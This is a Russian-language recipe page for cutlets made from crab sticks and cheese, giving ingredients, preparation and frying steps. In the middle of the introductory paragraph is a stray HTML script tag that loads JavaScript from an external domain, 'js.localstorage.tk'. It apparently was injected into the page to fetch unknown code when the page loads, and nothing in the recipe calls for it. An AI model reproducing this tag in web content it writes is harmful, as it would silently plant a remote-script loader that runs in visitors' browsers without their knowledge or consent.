Котлеты из крабовых палочек

Котлеты из крабовых палочек

Оценить рецепт: 

Нет оценки
Средне
1 час

Какое самое популярное блюдо готовят на второе? Ответ очевиден, это котлеты. Конечно мясо это прекрасно, но ведь иногда так хочется разнообразия. И самый просто и банальный рецепт можно превратить в что-то новое и интересное. Именно находясь в поисках такого разнообразия я попробовала котлет из крабовых палочек. После того как эксперимент прошел успешно, я начала их готовить регулярно.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

Ингредиенты: 
Крабовые палочки
300 грамм
Сыр
250 грамм
яйца
1 шт
Мука
150 грамм
Подсолнечное масло
100 мл.
Майонез
2 ст.л

Как и для приготовления обычных котлет нужен фарш. Именно по этому крабовые палочки и сыр нужно как можно меньше измельчить. Лучше всего это делать когда палочки слегка заморожены, по этому сыр тоже не на долго отправляю в морозилку. Когда все застынет нарезаю кубиками и измельчаю в кухонном комбайне. Но можно все измельчить и на тёрке.

Далее добавляю туда яйца майонез, и муку. Все это тщательно перемешиваю и получаю однородную массу, и получаю фарш.

На раскалённую сковороду наливаю масло, и так же как и котлеты выкладываю получившейся фарш. Обжаривать нужно по несколько минут с каждой стороны, до румяной корочки. При этом должен быть маленький огонь, иначе котлеты просто сгорят.

Когда всё будет готово подаю к любому гарниру. Итог, получается очень быстро и вкусно.
Приятного аппетита.

Понравился рецепт? Оставьте комментарий